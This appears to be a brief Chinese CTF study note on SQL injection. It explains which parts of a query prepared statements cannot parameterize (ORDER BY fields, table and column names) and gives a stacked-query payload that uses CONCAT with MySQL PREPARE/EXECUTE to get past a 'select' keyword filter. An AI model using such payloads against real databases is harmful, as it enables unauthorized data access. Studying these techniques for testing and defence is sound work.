怎么突破预编译

凡是字符串但又不能加引号的位置都不能参数化
原因:
预编译只有自动加引号的setString()方法,没有不加引号的方法
而order by后面接的字段名不能有引号

  • order by
  • sql关键字
  • 库名
  • 表名
  • 字段名
  • 函数名
  • ……………………….

预编译利用

预编译相关语法如下:

  1. set用于设置变量名和值
  2. prepare用于预备一个语句,并赋予名称,以后可以引用该语句
  3. execute执行语句
  4. deallocate prepare用来释放掉预处理的语句

比如目标过滤了select

  1. select * from `1919810931114514`;
  2. -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
  3. 拆分开来如下
  4. -1';
  5. set @sql = CONCAT('se','lect * from `1919810931114514`;');
  6. prepare stmt from @sql;
  7. EXECUTE stmt;
  8. #

image.png
image.png
image.png